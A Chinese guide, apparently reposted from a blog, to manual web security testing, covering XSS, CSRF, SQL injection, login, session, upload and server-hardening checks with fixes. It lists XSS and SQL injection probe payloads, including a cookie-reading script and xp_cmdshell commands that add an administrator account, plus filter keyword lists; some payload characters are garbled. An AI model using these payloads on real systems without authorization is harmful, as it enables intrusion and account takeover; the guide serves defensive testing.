常见可以用手工检测网站安全性的漏洞如下：
1、XSS(CrossSite Script)跨站脚本攻击：XSS(CrossSite Script)跨站脚本攻击。它指的是恶意攻击者往Web 页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web 里面的html 代码会被执行，从而达到恶意用户的特殊目的。
测试方法：在数据输入界面，添加记录输入：<script>alert(/30141/)</script>，添加成功如果弹出对话框，表明此处存在一个XSS 漏洞。或把url请求中参数改为<script>alert(/30141/)</script>，如果页面弹出对话框，表明此处存在一个XSS 漏洞
修改建议：过滤掉用户输入中的危险字符。对输入数据进行客户端和程序级的校验（如通过正则表达式等）。Eg:对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤等。
★~!@#$%^&*()_+<>,./?;'”[]{}\-
★%3Cinput /%3E
★%3Cscript%3Ealert(‘XSS’)%3C/script%3E
★<input type=”text”/>
★<input/>
★<input/
★<script>alert(‘xss’)</script>
★<script>alert(‘xss’);</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src=”#” οnerrοr=alert(/xss/)>
★<img src=”#” style=”Xss:expression(alert(/xss/));”>
★<img src=”#”/**/οnerrοr=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg” οnmοuseοver=”alert(‘xss’)
★”></a><script>alert(‘xss’);</script>
★http://xxx’;alert(‘xss’);var/ a=’a
★’”>xss&<
★”οnmοuseοver=alert(‘hello’);”
★&{alert(‘hello’);}
★>”‘><script>alert(‘XSS’)</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>”‘><img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;
%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background=”javascript:alert(([code])”></table>
★<object type=text/html data=”javascript:alert(([code]);”></object>
★<body οnlοad=”javascript:alert(([code])”></body>
★a?<script>alert(’Vulnerable’)</script>
★<!–‘”>&:
var from = ‘$!rundata.Parameters.getString(’from’)’;
var from = ”;hackerFunction(document.cookie);”;
2、CSRF与跨站脚本(XSS)：CSRF与跨站脚本(XSS)，是指请求迫使某个登录的浏览器向易受攻击的Web应用发送一个请求，然后以受害者的名义，为入侵者的利益进行所选择的行动。
测试方法：同个浏览器打开两个页面，一个页面权限失效后，另一个页面是否可操作成功，使用工具发送请求，在http请求头中不加入referer字段，检验返回消息的应答，应该重新定位到错误界面或者登陆界面。
修改建议：在不同的会话中两次发送同一请求并且收到相同的响应。这显示没有任何参数是动态的（会话标识仅在cookie 中发送），因此应用程序易受到此问题攻击。因此解决的方法为
1.Cookie Hashing(所有表单都包含同一个伪随机值)：
2.验证码
3.One‐Time Tokens(不同的表单包含一个不同的伪随机值)客户端保护措施：应用防止CSRF攻击的工具或插件。
3.注入测试:SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
测试方法：在需要进行查询的页面，输入正确查询条件 and 1=1等简单sql语句，查看应答结果，如与输入正确查询条件返回结果一致，表明应用程序对用户输入未进行过滤，可以初步判断此处存在SQL注入漏洞
修改建议：对用户的输入进行校验，可以通过正则表达式，或限制长度；对以下关键字进行转换等;
|<script>|</script>|alert|and|exec|execute|insert|select|delete|update|count|drop|chr|mid|master|truncate|declare|sitename|netuser|xp_cmdshell|or|+|,|like’|and|exec|execute|insert|create|drop|table|from|grant|group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|chr|mid|master|truncate|declare|or|–|+|,|like|//
不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取;不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接;应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装。
SQL注入
Admin–
‘or —
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
4、登录认证测试：
4.1.暴力破解：暴力破解是目前最直接有效的攻击方式，特别对于金融业务来说，很多情况下口令都为6位纯数字，很容易被攻击。本测试项在于检查认证系统对暴力破解的防护性。
测试方法：启动抓包工具，同时打开浏览器输入用户登录页面，输入用户名、密码以及验证码，进行登录，如果在抓包中存在明文的用户名和密码，说明存在弱点。
修改建议：将请求方式从HTTP方式修改为HTTPS方式或者对输入的用户名和密码进行加密，在服务端对密码进行验证。
4.2代码注释：开发版本的Web程序所带有的注释在发布版本中没有被去掉，而导致一些敏感信息的泄漏。我们要查看客户端能看到的页面源代码并发现此类安全隐患。
测试方法：打开登陆页面(或者待测试页面)，点击浏览器邮件，查看源代码，检查源代码注释部分是否有敏感信息泄露，敏感信息包括以下内容：字段文字描述、内网 IP 地址、SQL 语句以及物理路径等等。
修改建议：请勿在HTML 注释中遗留任何重要信息（如文件名或文件路径）。从生产站点注释中除去以前（或未来）站点链接的跟踪信息。避免在HTML 注释中放置敏感信息。确保HTML 注释不包括源代码片段。
4.3 用户名破解：为了进行暴力破解，攻击者需要知道已存在的用户名，再对该用户名进行攻击。
测试方法：在登录界面输入不存在的用户名和任意的口令，如果提示用户名不存在，则说明存在漏洞；使用正确的用户名和错误的口令进行登录，如果提示口令或密码错误，则说明存在漏洞。
修改建议：服务器对所有的登陆错误原因进行统一的应答，不会提示准确的错误提示信息。
4.4：锁定机制：在缺少锁定策略和验证码设计有问题的情况下，攻击者可以通过枚举的方式来进行暴力猜解。
测试方法：在登录页面，输入正确的用户名、错误的口令以及正确的验证码，提交表单，重复10次，如果系统没有返回类似账号锁定的信息，则说明存在漏洞。
修改建议：在用户进行错误登录次数达到系统配置后，需要对该账号或者该IP进行临时锁定，到达解锁条件后再进行解锁。
4.5：验证码：查看是否有验证码机制，以及验证码机制是否完善，避免使用自动化工具重复登录和进行业务操作。
测试方法：打开登陆页面查看是否存在验证码，如果不存在说明存在漏洞。输入正确的用户名和口令以及错误的验证码，如果只是提示验证码错误，则说明存在漏洞。选择验证码，点击右键，验证码是图片形式且在一张图片中，如果不是，则说明存在漏洞。观察验证码图
片中背景是否存在无规律的点或线条，如果背景为纯色（例如只有白色）说明存在漏洞。
修改建议：将验证码生成放在在一张进行了混淆处理的图片上。
4.6：修改密码：
测试方法：进入系统的口令修改界面，查看是否必须输入旧口令，如果不需要则存在漏洞。
修改建议：用户修改密码时必须提供旧密码，且新密码不能与旧密码相同，密码要有一定复杂度，参见口令规则建议。
4.7 默认账户名称设置：一般系统均设有默认登录用户，以及超级管理员账号，如登录账号过于简单将易被破解，造成超级权限泄露。
修改建议：上线系统清除超级管理员权限用户，或增加超级管理员登录名复杂度，不要设置成易猜测的admin、superadmin等名称。
4.8 错误的页面信息：404、500等错误或警告消息，可能会泄露敏感信息。
修改建议：捕获异常跳转至统一错误页面，避免对外泄漏详细错误信息。
5.会话管理测试：
5.1会话标识测试：查看登录成功后会话标识是否变更。如果未变更，那么攻击者就可以通过一些手段（如构造URL）为受害着确定一个会话标识，当受害者登录成功后，攻击者也可以利用这个会话标识冒充受害者访问系统。
测试方法：启动抓包工具或浏览器自带开发者模式打开登录页面，输入正确的用户名、口令以及验证码，进行登录，登录后，进行任意一项业务操作。如果登录的SessionId和进行业务的SessionId没有变化，则说明存在漏洞。
修改建议：对每次请求都从上次请求获得令牌，服务端对每次交互都进行验证查看是否存在浏览器窗口闲置超时后需重新登录的机制。
5.2会话超时测试：
测试方法：打开登录界面，输入正确的用户名和口令，进行登录，进行一项业务操作，将浏览器空闲超过30分钟，在进行其他业务操作，如果能够进行其他业务操作，则说明存在漏洞。
修改建议：需要在后台进行配置Session的超时时间。
5.3会话清除测试：用户注销后会话信息需要清除，否则会导致用户在点击注销按钮之后还能继续访问注销之前才能访问的页面。
测试方法：进入登录页面，输入正确的用户名和密码，登录成功后，进行一些业务操作，点击注销按钮，在浏览器输入地址，输入上面进行业务操作的地址，如果能够正常返回业务页面，则说明存在漏洞。
修改建议：在用户注销后，必须将用户的Session信息以及缓存信息全部清空。
6其他
6.1文件目录测试：目录列表能够造成信息泄漏，而且对于攻击者而言是非常容易进行的。所以在测试过程中，要注意目录列表漏洞。
测试方法：通过浏览器访问web 服务器上的所有目录，检查是否返回目录结构，如果显示的是目录结构，则可能存在安全问题；或使用DirBuster软件进行测试；
修改建议：
1. 针对每个Directory 域都使用Allow、Deny 等指令设置，严格设定WEB服务器的目录访问权限；
2. 删除Options 指令下的Indexes设置项；
6.2文件上传漏洞：文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过 Web 访问的目录上传任意文件，包括网站后门文件（webshell），进而远程控制网
站服务器。
修改建议：严格限制和校验上传的文件类型、大小等，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。
6.3http请求方法测试：有些Web服务器默认情况下开放了一些不必要的HTTP方法（如DELETE、PUT、TRACE、MOVE、COPY），这样就增加了受攻击面。
测试方法：使用SoapUI等工具，发送除get、post以外的方法请求，如接收应答为200ok，代表启用了不必要的方法。
修改建议：在tomcat web.xml中增加如下内容：
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
1. 服务器用户权限
2. 关闭无关端口
如：关闭 icmp 端口，并设置规则，丢弃 icmp 包。这样他人无法 Ping到服务器，服务器安全得到提升。
修改方法：丢弃 icmp 包可在 iptables 中， 加入一条语句：-A INPUT -p icmp -j DROP
3. 更改默认端口：如：默认的 SSH 端口是 22。建议改成 10000 以上。这样别人扫描到端口的机率也大大下降。
举例修改方法：
# 编辑 /etc/ssh/ssh_configvi /etc/ssh/ssh_config# 在 Host * 下 ，加入新的 Port 值。以 18439 为例（下同）：Port 22 Port 18439
# 编辑 /etc/ssh/sshd_configvi /etc/ssh/sshd_config#加入新的 Port 值Port 22Port 18439# 保存后，重启 SSH 服务：service sshd restart
测试新端口连接正常后，删除 Port 22 的配置。同时从 iptables 中， 删除22端口，添加新配置的 18439，并重启 iptables。
4. 限制IP登录
如能以固定 IP 方式连接服务器，那么，可以设置只允许某个特定的 IP 登录服务器。 设置如下：
5. 使用证书登录 SSH
相对于使用密码登录来说，使用证书更为安全，具体方法可参见网络资料。
规则1：口令长度的取值范围为：0‐32 个字符；口令的最短长度和最长长度可配置；口令的最短长度建议默认为6个字符。
规则2：口令中至少需要包括一个大写字母（A‐Z）、一个小写字母（a‐z）、一个数字字符（0‐9）；口令是否包含特殊字符要求可以配置。
规则3：口令中允许同一字符连续出现的最大次数可配置，取值范围：0‐9，当取值为 0 时，表示无限制，建议默认为 3。
规则4：口令须设置有效期，最短有效期的取值范围：0‐9999 分钟，当取值为0时，表示不做限制，建议默认：5 分钟；最长有效期的取值范围：0‐999 天，当取值为 0 时，表示口令永久有效，建议默认：90 天。
规则5：在口令到期前，当用户登录时系统须进行提示，提前提示的天数可配置，取值范围：1‐99 天，建议默认：7 天。
规则6：口令到达最长有效期后，用户再次登录成功但在进入系统前，系统强制更改口令，直至更改成功。
规则7：口令历史记录数可配置，取值范围为：0‐30；建议默认：3个。 —
规则8：管理员/操作员/最终用户修改自己的口令时，必须提供旧口令。
规则9：初始口令为系统提供的默认口令、或者是由管理员设定时，则在用户/操作员使用初始口令成功登录后，要强制用户/操作员更改初始口令，直至更改成功。
规则10：口令不能以明文的形式在界面上显示。
规则11：口令不能以明文的形式保存，须加密保存；口令与用户名关联加密，即加密前的数据不仅包括口令，还包括用户名。
规则12：只有当用户通过认证之后才可以修改口令。
规则13：修改口令的帐号只能从服务器端的会话信息中获取，而不能由客户端指定。
对输入参数进行处理，建议过滤出所有以下字符：
[1] |（竖线符号）
[2] & （& 符号）
[3];（分号）
[4] $（美元符号）
[5] %（百分比符号）
[6] @（at 符号）
[7] ‘（单引号）
[8] “（引号）
[9] \’（反斜杠转义单引号）
[10] \”（反斜杠转义引号）
[11] <>（尖括号）
[12] ()（括号）
[13] +（加号）
[14] CR（回车符，ASCII 0x0d）
[15] LF（换行，ASCII 0x0a）
[16] ,（逗号）
[17] \（反斜杠）
原文链接：https://www.cnblogs.com/wzx1blog/p/14475758.html
原创文章，作者：优速盾-小U，如若转载，请注明出处：https://www.cdnb.net/bbs/archives/18054
